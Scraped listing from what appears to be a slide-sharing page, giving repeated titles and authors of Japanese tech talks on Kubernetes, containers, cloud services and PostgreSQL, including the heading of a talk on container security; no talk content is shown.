マイクロにしすぎた結果がこれだよ!マイクロにしすぎた結果がこれだよ!
マイクロにしすぎた結果がこれだよ!
mosa siru
 
AWSとオンプレミスを繋ぐときに知っておきたいルーティングの基礎知識(CCSI監修!)
AWSとオンプレミスを繋ぐときに知っておきたいルーティングの基礎知識(CCSI監修!)AWSとオンプレミスを繋ぐときに知っておきたいルーティングの基礎知識(CCSI監修!)
AWSとオンプレミスを繋ぐときに知っておきたいルーティングの基礎知識(CCSI監修!)
Trainocate Japan, Ltd.
 
本当は恐ろしい分散システムの話
本当は恐ろしい分散システムの話本当は恐ろしい分散システムの話
本当は恐ろしい分散システムの話
Kumazaki Hiroki
 
Ingress on Azure Kubernetes Service
Ingress on Azure Kubernetes ServiceIngress on Azure Kubernetes Service
Ingress on Azure Kubernetes Service
Toru Makabe
 
containerdの概要と最近の機能
containerdの概要と最近の機能containerdの概要と最近の機能
containerdの概要と最近の機能
Kohei Tokunaga
 
Mercari JPのモノリスサービスをKubernetesに移行した話 PHP Conference 2022 9/24
Mercari JPのモノリスサービスをKubernetesに移行した話 PHP Conference 2022 9/24Mercari JPのモノリスサービスをKubernetesに移行した話 PHP Conference 2022 9/24
Mercari JPのモノリスサービスをKubernetesに移行した話 PHP Conference 2022 9/24
Shin Ohno
 
AWS Black Belt Online Seminar 2018 Amazon DynamoDB Advanced Design Pattern
AWS Black Belt Online Seminar 2018 Amazon DynamoDB Advanced Design PatternAWS Black Belt Online Seminar 2018 Amazon DynamoDB Advanced Design Pattern
AWS Black Belt Online Seminar 2018 Amazon DynamoDB Advanced Design Pattern
Amazon Web Services Japan
 
Knative Eventing 入門(Kubernetes Novice Tokyo #11 発表資料)
Knative Eventing 入門(Kubernetes Novice Tokyo #11 発表資料)Knative Eventing 入門(Kubernetes Novice Tokyo #11 発表資料)
Knative Eventing 入門(Kubernetes Novice Tokyo #11 発表資料)
NTT DATA Technology & Innovation
 
[Aurora事例祭り]Amazon Aurora を使いこなすためのベストプラクティス
[Aurora事例祭り]Amazon Aurora を使いこなすためのベストプラクティス[Aurora事例祭り]Amazon Aurora を使いこなすためのベストプラクティス
[Aurora事例祭り]Amazon Aurora を使いこなすためのベストプラクティス
Amazon Web Services Japan
 
NetflixにおけるPresto/Spark活用事例
NetflixにおけるPresto/Spark活用事例NetflixにおけるPresto/Spark活用事例
NetflixにおけるPresto/Spark活用事例
Amazon Web Services Japan
 
分散システムについて語らせてくれ
分散システムについて語らせてくれ分散システムについて語らせてくれ
分散システムについて語らせてくれ
Kumazaki Hiroki
 
コンテナネットワーキング(CNI)最前線
コンテナネットワーキング(CNI)最前線コンテナネットワーキング(CNI)最前線
コンテナネットワーキング(CNI)最前線
Motonori Shindo
 
AWSのログ管理ベストプラクティス
AWSのログ管理ベストプラクティスAWSのログ管理ベストプラクティス
AWSのログ管理ベストプラクティス
Akihiro Kuwano
 

What's hot (20)

BuildKitの概要と最近の機能
BuildKitの概要と最近の機能BuildKitの概要と最近の機能
BuildKitの概要と最近の機能
 
Kubernetesでの性能解析 ~なんとなく遅いからの脱却~(Kubernetes Meetup Tokyo #33 発表資料)
Kubernetesでの性能解析 ~なんとなく遅いからの脱却~(Kubernetes Meetup Tokyo #33 発表資料)Kubernetesでの性能解析 ~なんとなく遅いからの脱却~(Kubernetes Meetup Tokyo #33 発表資料)
Kubernetesでの性能解析 ~なんとなく遅いからの脱却~(Kubernetes Meetup Tokyo #33 発表資料)
 
どうやって決める?kubernetesでのシークレット管理方法(Cloud Native Days 2020 発表資料)
どうやって決める?kubernetesでのシークレット管理方法(Cloud Native Days 2020 発表資料)どうやって決める?kubernetesでのシークレット管理方法(Cloud Native Days 2020 発表資料)
どうやって決める?kubernetesでのシークレット管理方法(Cloud Native Days 2020 発表資料)
 
SQLアンチパターン 幻の第26章「とりあえず削除フラグ」
SQLアンチパターン 幻の第26章「とりあえず削除フラグ」SQLアンチパターン 幻の第26章「とりあえず削除フラグ」
SQLアンチパターン 幻の第26章「とりあえず削除フラグ」
 
分散トレーシング技術について(Open tracingやjaeger)
分散トレーシング技術について(Open tracingやjaeger)分散トレーシング技術について(Open tracingやjaeger)
分散トレーシング技術について(Open tracingやjaeger)
 
コンテナの作り方「Dockerは裏方で何をしているのか?」
コンテナの作り方「Dockerは裏方で何をしているのか?」コンテナの作り方「Dockerは裏方で何をしているのか?」
コンテナの作り方「Dockerは裏方で何をしているのか?」
 
Fluentdのお勧めシステム構成パターン
Fluentdのお勧めシステム構成パターンFluentdのお勧めシステム構成パターン
Fluentdのお勧めシステム構成パターン
 
マイクロにしすぎた結果がこれだよ!
マイクロにしすぎた結果がこれだよ!マイクロにしすぎた結果がこれだよ!
マイクロにしすぎた結果がこれだよ!
 
AWSとオンプレミスを繋ぐときに知っておきたいルーティングの基礎知識(CCSI監修!)
AWSとオンプレミスを繋ぐときに知っておきたいルーティングの基礎知識(CCSI監修!)AWSとオンプレミスを繋ぐときに知っておきたいルーティングの基礎知識(CCSI監修!)
AWSとオンプレミスを繋ぐときに知っておきたいルーティングの基礎知識(CCSI監修!)
 
本当は恐ろしい分散システムの話
本当は恐ろしい分散システムの話本当は恐ろしい分散システムの話
本当は恐ろしい分散システムの話
 
Ingress on Azure Kubernetes Service
Ingress on Azure Kubernetes ServiceIngress on Azure Kubernetes Service
Ingress on Azure Kubernetes Service
 
containerdの概要と最近の機能
containerdの概要と最近の機能containerdの概要と最近の機能
containerdの概要と最近の機能
 
Mercari JPのモノリスサービスをKubernetesに移行した話 PHP Conference 2022 9/24
Mercari JPのモノリスサービスをKubernetesに移行した話 PHP Conference 2022 9/24Mercari JPのモノリスサービスをKubernetesに移行した話 PHP Conference 2022 9/24
Mercari JPのモノリスサービスをKubernetesに移行した話 PHP Conference 2022 9/24
 
AWS Black Belt Online Seminar 2018 Amazon DynamoDB Advanced Design Pattern
AWS Black Belt Online Seminar 2018 Amazon DynamoDB Advanced Design PatternAWS Black Belt Online Seminar 2018 Amazon DynamoDB Advanced Design Pattern
AWS Black Belt Online Seminar 2018 Amazon DynamoDB Advanced Design Pattern
 
Knative Eventing 入門(Kubernetes Novice Tokyo #11 発表資料)
Knative Eventing 入門(Kubernetes Novice Tokyo #11 発表資料)Knative Eventing 入門(Kubernetes Novice Tokyo #11 発表資料)
Knative Eventing 入門(Kubernetes Novice Tokyo #11 発表資料)
 
[Aurora事例祭り]Amazon Aurora を使いこなすためのベストプラクティス
[Aurora事例祭り]Amazon Aurora を使いこなすためのベストプラクティス[Aurora事例祭り]Amazon Aurora を使いこなすためのベストプラクティス
[Aurora事例祭り]Amazon Aurora を使いこなすためのベストプラクティス
 
NetflixにおけるPresto/Spark活用事例
NetflixにおけるPresto/Spark活用事例NetflixにおけるPresto/Spark活用事例
NetflixにおけるPresto/Spark活用事例
 
分散システムについて語らせてくれ
分散システムについて語らせてくれ分散システムについて語らせてくれ
分散システムについて語らせてくれ
 
コンテナネットワーキング(CNI)最前線
コンテナネットワーキング(CNI)最前線コンテナネットワーキング(CNI)最前線
コンテナネットワーキング(CNI)最前線
 
AWSのログ管理ベストプラクティス
AWSのログ管理ベストプラクティスAWSのログ管理ベストプラクティス
AWSのログ管理ベストプラクティス
 

Similar to 乗っ取れコンテナ!!開発者から見たコンテナセキュリティの考え方(CloudNative Days Tokyo 2021 発表資料)

Pod Security AdmissionによるKubernetesのポリシー制御(Kubernetes Novice Tokyo #21 発表資料)
Pod Security AdmissionによるKubernetesのポリシー制御(Kubernetes Novice Tokyo #21 発表資料)Pod Security AdmissionによるKubernetesのポリシー制御(Kubernetes Novice Tokyo #21 発表資料)
Pod Security AdmissionによるKubernetesのポリシー制御(Kubernetes Novice Tokyo #21 発表資料)
NTT DATA Technology & Innovation
 
サイバーエージェントにおけるプライベートコンテナ基盤AKEを支える技術
サイバーエージェントにおけるプライベートコンテナ基盤AKEを支える技術サイバーエージェントにおけるプライベートコンテナ基盤AKEを支える技術
サイバーエージェントにおけるプライベートコンテナ基盤AKEを支える技術
Masaya Aoyama
 
Google Container Engine (GKE) & Kubernetes のアーキテクチャ解説
Google Container Engine (GKE) & Kubernetes のアーキテクチャ解説Google Container Engine (GKE) & Kubernetes のアーキテクチャ解説
Google Container Engine (GKE) & Kubernetes のアーキテクチャ解説
Samir Hammoudi
 
CyberAgentのインフラについて メディア事業編 #catechchallenge
CyberAgentのインフラについて メディア事業編 #catechchallengeCyberAgentのインフラについて メディア事業編 #catechchallenge
CyberAgentのインフラについて メディア事業編 #catechchallenge
whywaita
 
C#エンジニアのためのdocker kubernetesハンズオン
C#エンジニアのためのdocker kubernetesハンズオンC#エンジニアのためのdocker kubernetesハンズオン
C#エンジニアのためのdocker kubernetesハンズオン
Takayoshi Tanaka
 
C#エンジニアのためのdocker kubernetesハンズオン (再)
C#エンジニアのためのdocker kubernetesハンズオン (再)C#エンジニアのためのdocker kubernetesハンズオン (再)
C#エンジニアのためのdocker kubernetesハンズオン (再)
Takayoshi Tanaka
 
Rancher 2.0 Technical Preview & Bluemix Kubernetes Cluster Import
Rancher 2.0 Technical Preview & Bluemix Kubernetes Cluster ImportRancher 2.0 Technical Preview & Bluemix Kubernetes Cluster Import
Rancher 2.0 Technical Preview & Bluemix Kubernetes Cluster Import
BMXUG
 
kubetnetes etc.. & Rancher2.0 Technical Preview -import BLUMIX K8S Clusters-
kubetnetes etc.. & Rancher2.0 Technical Preview -import BLUMIX K8S Clusters-kubetnetes etc.. & Rancher2.0 Technical Preview -import BLUMIX K8S Clusters-
kubetnetes etc.. & Rancher2.0 Technical Preview -import BLUMIX K8S Clusters-
cyberblack28 Ichikawa
 
Infra: Kubernetes and GKE, Network
Infra: Kubernetes and GKE, NetworkInfra: Kubernetes and GKE, Network
Infra: Kubernetes and GKE, Network
Kuma Arakawa
 
CI/CD Pipeline を考える 〜KubeCon 2017 + CyberAgent の最大公倍数〜
CI/CD Pipeline を考える 〜KubeCon 2017 + CyberAgent の最大公倍数〜CI/CD Pipeline を考える 〜KubeCon 2017 + CyberAgent の最大公倍数〜
CI/CD Pipeline を考える 〜KubeCon 2017 + CyberAgent の最大公倍数〜
Masaya Aoyama
 
Node.jsアプリの開発をモダン化するために取り組んできたこと
Node.jsアプリの開発をモダン化するために取り組んできたことNode.jsアプリの開発をモダン化するために取り組んできたこと
Node.jsアプリの開発をモダン化するために取り組んできたこと
bitbank, Inc. Tokyo, Japan
 
Kube con + cloudnativecon 2017 社内報告会(外部公開用)
Kube con + cloudnativecon 2017 社内報告会(外部公開用)Kube con + cloudnativecon 2017 社内報告会(外部公開用)
Kube con + cloudnativecon 2017 社内報告会(外部公開用)
Masaya Aoyama
 
Java on Kubernetes on Azure
Java on Kubernetes on AzureJava on Kubernetes on Azure
Java on Kubernetes on Azure
Yoshio Terada
 
Introduction to Magnum (JP)
Introduction to Magnum (JP)Introduction to Magnum (JP)
Introduction to Magnum (JP)
Motohiro OTSUKA
 
Docker Meetup tpkyo #30 kubecon recap
Docker Meetup tpkyo #30 kubecon recapDocker Meetup tpkyo #30 kubecon recap
Docker Meetup tpkyo #30 kubecon recap
Yutaro Wada
 
Kubernetes Meetup Tokyo #8 Self-hosted Kubernetes を調べてみた
Kubernetes Meetup Tokyo #8 Self-hosted Kubernetes を調べてみたKubernetes Meetup Tokyo #8 Self-hosted Kubernetes を調べてみた
Kubernetes Meetup Tokyo #8 Self-hosted Kubernetes を調べてみた
Akihito Inoh
 
[OracleCodeTokyo2019] Kubernetesで実現する運用自動化の新しいアプローチとは
[OracleCodeTokyo2019] Kubernetesで実現する運用自動化の新しいアプローチとは[OracleCodeTokyo2019] Kubernetesで実現する運用自動化の新しいアプローチとは
[OracleCodeTokyo2019] Kubernetesで実現する運用自動化の新しいアプローチとは
Koto Shigeru
 
Japan Container Day 2018
Japan Container Day 2018Japan Container Day 2018
Japan Container Day 2018
Yoshio Terada
 
今さら聞けない人のための K8s超入門 Big Sur対応版 CNDO2021 ショートバージョン
今さら聞けない人のための K8s超入門 Big Sur対応版 CNDO2021 ショートバージョン今さら聞けない人のための K8s超入門 Big Sur対応版 CNDO2021 ショートバージョン
今さら聞けない人のための K8s超入門 Big Sur対応版 CNDO2021 ショートバージョン
VirtualTech Japan Inc./Begi.net Inc.
 
Rancher2.3とwindows Containerで作るkubernetesクラスタ
Rancher2.3とwindows Containerで作るkubernetesクラスタRancher2.3とwindows Containerで作るkubernetesクラスタ
Rancher2.3とwindows Containerで作るkubernetesクラスタ
Takashi Kanai
 

Similar to 乗っ取れコンテナ!!開発者から見たコンテナセキュリティの考え方(CloudNative Days Tokyo 2021 発表資料) (20)

Pod Security AdmissionによるKubernetesのポリシー制御(Kubernetes Novice Tokyo #21 発表資料)
Pod Security AdmissionによるKubernetesのポリシー制御(Kubernetes Novice Tokyo #21 発表資料)Pod Security AdmissionによるKubernetesのポリシー制御(Kubernetes Novice Tokyo #21 発表資料)
Pod Security AdmissionによるKubernetesのポリシー制御(Kubernetes Novice Tokyo #21 発表資料)
 
サイバーエージェントにおけるプライベートコンテナ基盤AKEを支える技術
サイバーエージェントにおけるプライベートコンテナ基盤AKEを支える技術サイバーエージェントにおけるプライベートコンテナ基盤AKEを支える技術
サイバーエージェントにおけるプライベートコンテナ基盤AKEを支える技術
 
Google Container Engine (GKE) & Kubernetes のアーキテクチャ解説
Google Container Engine (GKE) & Kubernetes のアーキテクチャ解説Google Container Engine (GKE) & Kubernetes のアーキテクチャ解説
Google Container Engine (GKE) & Kubernetes のアーキテクチャ解説
 
CyberAgentのインフラについて メディア事業編 #catechchallenge
CyberAgentのインフラについて メディア事業編 #catechchallengeCyberAgentのインフラについて メディア事業編 #catechchallenge
CyberAgentのインフラについて メディア事業編 #catechchallenge
 
C#エンジニアのためのdocker kubernetesハンズオン
C#エンジニアのためのdocker kubernetesハンズオンC#エンジニアのためのdocker kubernetesハンズオン
C#エンジニアのためのdocker kubernetesハンズオン
 
C#エンジニアのためのdocker kubernetesハンズオン (再)
C#エンジニアのためのdocker kubernetesハンズオン (再)C#エンジニアのためのdocker kubernetesハンズオン (再)
C#エンジニアのためのdocker kubernetesハンズオン (再)
 
Rancher 2.0 Technical Preview & Bluemix Kubernetes Cluster Import
Rancher 2.0 Technical Preview & Bluemix Kubernetes Cluster ImportRancher 2.0 Technical Preview & Bluemix Kubernetes Cluster Import
Rancher 2.0 Technical Preview & Bluemix Kubernetes Cluster Import
 
kubetnetes etc.. & Rancher2.0 Technical Preview -import BLUMIX K8S Clusters-
kubetnetes etc.. & Rancher2.0 Technical Preview -import BLUMIX K8S Clusters-kubetnetes etc.. & Rancher2.0 Technical Preview -import BLUMIX K8S Clusters-
kubetnetes etc.. & Rancher2.0 Technical Preview -import BLUMIX K8S Clusters-
 
Infra: Kubernetes and GKE, Network
Infra: Kubernetes and GKE, NetworkInfra: Kubernetes and GKE, Network
Infra: Kubernetes and GKE, Network
 
CI/CD Pipeline を考える 〜KubeCon 2017 + CyberAgent の最大公倍数〜
CI/CD Pipeline を考える 〜KubeCon 2017 + CyberAgent の最大公倍数〜CI/CD Pipeline を考える 〜KubeCon 2017 + CyberAgent の最大公倍数〜
CI/CD Pipeline を考える 〜KubeCon 2017 + CyberAgent の最大公倍数〜
 
Node.jsアプリの開発をモダン化するために取り組んできたこと
Node.jsアプリの開発をモダン化するために取り組んできたことNode.jsアプリの開発をモダン化するために取り組んできたこと
Node.jsアプリの開発をモダン化するために取り組んできたこと
 
Kube con + cloudnativecon 2017 社内報告会(外部公開用)
Kube con + cloudnativecon 2017 社内報告会(外部公開用)Kube con + cloudnativecon 2017 社内報告会(外部公開用)
Kube con + cloudnativecon 2017 社内報告会(外部公開用)
 
Java on Kubernetes on Azure
Java on Kubernetes on AzureJava on Kubernetes on Azure
Java on Kubernetes on Azure
 
Introduction to Magnum (JP)
Introduction to Magnum (JP)Introduction to Magnum (JP)
Introduction to Magnum (JP)
 
Docker Meetup tpkyo #30 kubecon recap
Docker Meetup tpkyo #30 kubecon recapDocker Meetup tpkyo #30 kubecon recap
Docker Meetup tpkyo #30 kubecon recap
 
Kubernetes Meetup Tokyo #8 Self-hosted Kubernetes を調べてみた
Kubernetes Meetup Tokyo #8 Self-hosted Kubernetes を調べてみたKubernetes Meetup Tokyo #8 Self-hosted Kubernetes を調べてみた
Kubernetes Meetup Tokyo #8 Self-hosted Kubernetes を調べてみた
 
[OracleCodeTokyo2019] Kubernetesで実現する運用自動化の新しいアプローチとは
[OracleCodeTokyo2019] Kubernetesで実現する運用自動化の新しいアプローチとは[OracleCodeTokyo2019] Kubernetesで実現する運用自動化の新しいアプローチとは
[OracleCodeTokyo2019] Kubernetesで実現する運用自動化の新しいアプローチとは
 
Japan Container Day 2018
Japan Container Day 2018Japan Container Day 2018
Japan Container Day 2018
 
今さら聞けない人のための K8s超入門 Big Sur対応版 CNDO2021 ショートバージョン
今さら聞けない人のための K8s超入門 Big Sur対応版 CNDO2021 ショートバージョン今さら聞けない人のための K8s超入門 Big Sur対応版 CNDO2021 ショートバージョン
今さら聞けない人のための K8s超入門 Big Sur対応版 CNDO2021 ショートバージョン
 
Rancher2.3とwindows Containerで作るkubernetesクラスタ
Rancher2.3とwindows Containerで作るkubernetesクラスタRancher2.3とwindows Containerで作るkubernetesクラスタ
Rancher2.3とwindows Containerで作るkubernetesクラスタ
 

More from NTT DATA Technology & Innovation

pg_stat_activityの不可解な観測結果の謎 (第47回 PostgreSQLアンカンファレンス@オンライン 発表資料)
pg_stat_activityの不可解な観測結果の謎 (第47回 PostgreSQLアンカンファレンス@オンライン 発表資料)pg_stat_activityの不可解な観測結果の謎 (第47回 PostgreSQLアンカンファレンス@オンライン 発表資料)
pg_stat_activityの不可解な観測結果の謎 (第47回 PostgreSQLアンカンファレンス@オンライン 発表資料)
NTT DATA Technology & Innovation
 
PostGISの落とし穴 (第47回 PostgreSQLアンカンファレンス@オンライン 発表資料)
PostGISの落とし穴 (第47回 PostgreSQLアンカンファレンス@オンライン 発表資料)PostGISの落とし穴 (第47回 PostgreSQLアンカンファレンス@オンライン 発表資料)
PostGISの落とし穴 (第47回 PostgreSQLアンカンファレンス@オンライン 発表資料)
NTT DATA Technology & Innovation
 
TiDBの可用性構成パターン (TiUG Meetup #2 発表資料)
TiDBの可用性構成パターン (TiUG Meetup #2 発表資料)TiDBの可用性構成パターン (TiUG Meetup #2 発表資料)
TiDBの可用性構成パターン (TiUG Meetup #2 発表資料)
NTT DATA Technology & Innovation
 
転生したらQAエンジニアが不在のスクラムチームでスクラムマスターをすることになった件 ~チームでアジャイル品質・アジャイルテスティングに向き合う肝はコミュ...
転生したらQAエンジニアが不在のスクラムチームでスクラムマスターをすることになった件 ~チームでアジャイル品質・アジャイルテスティングに向き合う肝はコミュ...転生したらQAエンジニアが不在のスクラムチームでスクラムマスターをすることになった件 ~チームでアジャイル品質・アジャイルテスティングに向き合う肝はコミュ...
転生したらQAエンジニアが不在のスクラムチームでスクラムマスターをすることになった件 ~チームでアジャイル品質・アジャイルテスティングに向き合う肝はコミュ...
NTT DATA Technology & Innovation
 
せっかくのOSSなんだし、ソースコード読むよね? 〜Apache Kafkaを例にしたOSSソースコードリーディングの基本〜 (Open Source C...
せっかくのOSSなんだし、ソースコード読むよね? 〜Apache Kafkaを例にしたOSSソースコードリーディングの基本〜 (Open Source C...せっかくのOSSなんだし、ソースコード読むよね? 〜Apache Kafkaを例にしたOSSソースコードリーディングの基本〜 (Open Source C...
せっかくのOSSなんだし、ソースコード読むよね? 〜Apache Kafkaを例にしたOSSソースコードリーディングの基本〜 (Open Source C...
NTT DATA Technology & Innovation
 
YugabyteDB適用に向けた取り組みと隠れた魅力 (DSS Asia 2024 発表資料)
YugabyteDB適用に向けた取り組みと隠れた魅力 (DSS Asia 2024 発表資料)YugabyteDB適用に向けた取り組みと隠れた魅力 (DSS Asia 2024 発表資料)
YugabyteDB適用に向けた取り組みと隠れた魅力 (DSS Asia 2024 発表資料)
NTT DATA Technology & Innovation
 
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NTT DATA Technology & Innovation
 
OSSデータベースの開発コミュニティに参加しよう! (DEIM2024 発表資料)
OSSデータベースの開発コミュニティに参加しよう! (DEIM2024 発表資料)OSSデータベースの開発コミュニティに参加しよう! (DEIM2024 発表資料)
OSSデータベースの開発コミュニティに参加しよう! (DEIM2024 発表資料)
NTT DATA Technology & Innovation
 
COPY FROMで異常データをスキップできるようになった話(第45回 PostgreSQLアンカンファレンス@オンライン 発表資料)
COPY FROMで異常データをスキップできるようになった話(第45回 PostgreSQLアンカンファレンス@オンライン 発表資料)COPY FROMで異常データをスキップできるようになった話(第45回 PostgreSQLアンカンファレンス@オンライン 発表資料)
COPY FROMで異常データをスキップできるようになった話(第45回 PostgreSQLアンカンファレンス@オンライン 発表資料)
NTT DATA Technology & Innovation
 
Cloud Skills Challenge 2023 winter 〜Azureを頑張る理由と頑張り方
Cloud Skills Challenge 2023 winter 〜Azureを頑張る理由と頑張り方Cloud Skills Challenge 2023 winter 〜Azureを頑張る理由と頑張り方
Cloud Skills Challenge 2023 winter 〜Azureを頑張る理由と頑張り方
NTT DATA Technology & Innovation
 
Unlocking Transformation: Implementing GitOps Practices in Conservative Organ...
Unlocking Transformation: Implementing GitOps Practices in Conservative Organ...Unlocking Transformation: Implementing GitOps Practices in Conservative Organ...
Unlocking Transformation: Implementing GitOps Practices in Conservative Organ...
NTT DATA Technology & Innovation
 
Databricksチューニングあれこれ(JEDAI 2023 X‘mas/忘年会 Meetup! LT登壇資料)
Databricksチューニングあれこれ(JEDAI 2023 X‘mas/忘年会 Meetup! LT登壇資料)Databricksチューニングあれこれ(JEDAI 2023 X‘mas/忘年会 Meetup! LT登壇資料)
Databricksチューニングあれこれ(JEDAI 2023 X‘mas/忘年会 Meetup! LT登壇資料)
NTT DATA Technology & Innovation
 
詳説探究!Cloud Native Databaseの現在地点(CloudNative Days Tokyo 2023 発表資料)
詳説探究!Cloud Native Databaseの現在地点(CloudNative Days Tokyo 2023 発表資料)詳説探究!Cloud Native Databaseの現在地点(CloudNative Days Tokyo 2023 発表資料)
詳説探究!Cloud Native Databaseの現在地点(CloudNative Days Tokyo 2023 発表資料)
NTT DATA Technology & Innovation
 
今、改めて考えるPostgreSQLプラットフォーム - マルチクラウドとポータビリティ -(PostgreSQL Conference Japan 20...
今、改めて考えるPostgreSQLプラットフォーム - マルチクラウドとポータビリティ -(PostgreSQL Conference Japan 20...今、改めて考えるPostgreSQLプラットフォーム - マルチクラウドとポータビリティ -(PostgreSQL Conference Japan 20...
今、改めて考えるPostgreSQLプラットフォーム - マルチクラウドとポータビリティ -(PostgreSQL Conference Japan 20...
NTT DATA Technology & Innovation
 
速習! PostgreSQL専用HAソフトウェア: Patroni(PostgreSQL Conference Japan 2023 発表資料)
速習! PostgreSQL専用HAソフトウェア: Patroni(PostgreSQL Conference Japan 2023 発表資料)速習! PostgreSQL専用HAソフトウェア: Patroni(PostgreSQL Conference Japan 2023 発表資料)
速習! PostgreSQL専用HAソフトウェア: Patroni(PostgreSQL Conference Japan 2023 発表資料)
NTT DATA Technology & Innovation
 
pgvectorを使ってChatGPTとPostgreSQLを連携してみよう!(PostgreSQL Conference Japan 2023 発表資料)
pgvectorを使ってChatGPTとPostgreSQLを連携してみよう!(PostgreSQL Conference Japan 2023 発表資料)pgvectorを使ってChatGPTとPostgreSQLを連携してみよう!(PostgreSQL Conference Japan 2023 発表資料)
pgvectorを使ってChatGPTとPostgreSQLを連携してみよう!(PostgreSQL Conference Japan 2023 発表資料)
NTT DATA Technology & Innovation
 
マネージドPostgreSQLの実現に向けたPostgreSQL機能向上(PostgreSQL Conference Japan 2023 発表資料)
マネージドPostgreSQLの実現に向けたPostgreSQL機能向上(PostgreSQL Conference Japan 2023 発表資料)マネージドPostgreSQLの実現に向けたPostgreSQL機能向上(PostgreSQL Conference Japan 2023 発表資料)
マネージドPostgreSQLの実現に向けたPostgreSQL機能向上(PostgreSQL Conference Japan 2023 発表資料)
NTT DATA Technology & Innovation
 
最新機能までを総ざらい!PostgreSQLの注目機能を振り返る(第32回 中国地方DB勉強会 in 岡山 発表資料)
最新機能までを総ざらい!PostgreSQLの注目機能を振り返る(第32回 中国地方DB勉強会 in 岡山 発表資料)最新機能までを総ざらい!PostgreSQLの注目機能を振り返る(第32回 中国地方DB勉強会 in 岡山 発表資料)
最新機能までを総ざらい!PostgreSQLの注目機能を振り返る(第32回 中国地方DB勉強会 in 岡山 発表資料)
NTT DATA Technology & Innovation
 
PostgreSQLのバグとの付き合い方 ~バグの調査からコミュニティへの報告、修正パッチ投稿まで~(Open Source Conference 202...
PostgreSQLのバグとの付き合い方 ~バグの調査からコミュニティへの報告、修正パッチ投稿まで~(Open Source Conference 202...PostgreSQLのバグとの付き合い方 ~バグの調査からコミュニティへの報告、修正パッチ投稿まで~(Open Source Conference 202...
PostgreSQLのバグとの付き合い方 ~バグの調査からコミュニティへの報告、修正パッチ投稿まで~(Open Source Conference 202...
NTT DATA Technology & Innovation
 
骨抜きアジャイルの骨を生み出す 〜私(スクラムマスター)のXP学習記録〜(XP祭り2023 発表資料)
骨抜きアジャイルの骨を生み出す 〜私(スクラムマスター)のXP学習記録〜(XP祭り2023 発表資料)骨抜きアジャイルの骨を生み出す 〜私(スクラムマスター)のXP学習記録〜(XP祭り2023 発表資料)
骨抜きアジャイルの骨を生み出す 〜私(スクラムマスター)のXP学習記録〜(XP祭り2023 発表資料)
NTT DATA Technology & Innovation
 

More from NTT DATA Technology & Innovation (20)

pg_stat_activityの不可解な観測結果の謎 (第47回 PostgreSQLアンカンファレンス@オンライン 発表資料)
pg_stat_activityの不可解な観測結果の謎 (第47回 PostgreSQLアンカンファレンス@オンライン 発表資料)pg_stat_activityの不可解な観測結果の謎 (第47回 PostgreSQLアンカンファレンス@オンライン 発表資料)
pg_stat_activityの不可解な観測結果の謎 (第47回 PostgreSQLアンカンファレンス@オンライン 発表資料)
 
PostGISの落とし穴 (第47回 PostgreSQLアンカンファレンス@オンライン 発表資料)
PostGISの落とし穴 (第47回 PostgreSQLアンカンファレンス@オンライン 発表資料)PostGISの落とし穴 (第47回 PostgreSQLアンカンファレンス@オンライン 発表資料)
PostGISの落とし穴 (第47回 PostgreSQLアンカンファレンス@オンライン 発表資料)
 
TiDBの可用性構成パターン (TiUG Meetup #2 発表資料)
TiDBの可用性構成パターン (TiUG Meetup #2 発表資料)TiDBの可用性構成パターン (TiUG Meetup #2 発表資料)
TiDBの可用性構成パターン (TiUG Meetup #2 発表資料)
 
転生したらQAエンジニアが不在のスクラムチームでスクラムマスターをすることになった件 ~チームでアジャイル品質・アジャイルテスティングに向き合う肝はコミュ...
転生したらQAエンジニアが不在のスクラムチームでスクラムマスターをすることになった件 ~チームでアジャイル品質・アジャイルテスティングに向き合う肝はコミュ...転生したらQAエンジニアが不在のスクラムチームでスクラムマスターをすることになった件 ~チームでアジャイル品質・アジャイルテスティングに向き合う肝はコミュ...
転生したらQAエンジニアが不在のスクラムチームでスクラムマスターをすることになった件 ~チームでアジャイル品質・アジャイルテスティングに向き合う肝はコミュ...
 
せっかくのOSSなんだし、ソースコード読むよね? 〜Apache Kafkaを例にしたOSSソースコードリーディングの基本〜 (Open Source C...
せっかくのOSSなんだし、ソースコード読むよね? 〜Apache Kafkaを例にしたOSSソースコードリーディングの基本〜 (Open Source C...せっかくのOSSなんだし、ソースコード読むよね? 〜Apache Kafkaを例にしたOSSソースコードリーディングの基本〜 (Open Source C...
せっかくのOSSなんだし、ソースコード読むよね? 〜Apache Kafkaを例にしたOSSソースコードリーディングの基本〜 (Open Source C...
 
YugabyteDB適用に向けた取り組みと隠れた魅力 (DSS Asia 2024 発表資料)
YugabyteDB適用に向けた取り組みと隠れた魅力 (DSS Asia 2024 発表資料)YugabyteDB適用に向けた取り組みと隠れた魅力 (DSS Asia 2024 発表資料)
YugabyteDB適用に向けた取り組みと隠れた魅力 (DSS Asia 2024 発表資料)
 
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
 
OSSデータベースの開発コミュニティに参加しよう! (DEIM2024 発表資料)
OSSデータベースの開発コミュニティに参加しよう! (DEIM2024 発表資料)OSSデータベースの開発コミュニティに参加しよう! (DEIM2024 発表資料)
OSSデータベースの開発コミュニティに参加しよう! (DEIM2024 発表資料)
 
COPY FROMで異常データをスキップできるようになった話(第45回 PostgreSQLアンカンファレンス@オンライン 発表資料)
COPY FROMで異常データをスキップできるようになった話(第45回 PostgreSQLアンカンファレンス@オンライン 発表資料)COPY FROMで異常データをスキップできるようになった話(第45回 PostgreSQLアンカンファレンス@オンライン 発表資料)
COPY FROMで異常データをスキップできるようになった話(第45回 PostgreSQLアンカンファレンス@オンライン 発表資料)
 
Cloud Skills Challenge 2023 winter 〜Azureを頑張る理由と頑張り方
Cloud Skills Challenge 2023 winter 〜Azureを頑張る理由と頑張り方Cloud Skills Challenge 2023 winter 〜Azureを頑張る理由と頑張り方
Cloud Skills Challenge 2023 winter 〜Azureを頑張る理由と頑張り方
 
Unlocking Transformation: Implementing GitOps Practices in Conservative Organ...
Unlocking Transformation: Implementing GitOps Practices in Conservative Organ...Unlocking Transformation: Implementing GitOps Practices in Conservative Organ...
Unlocking Transformation: Implementing GitOps Practices in Conservative Organ...
 
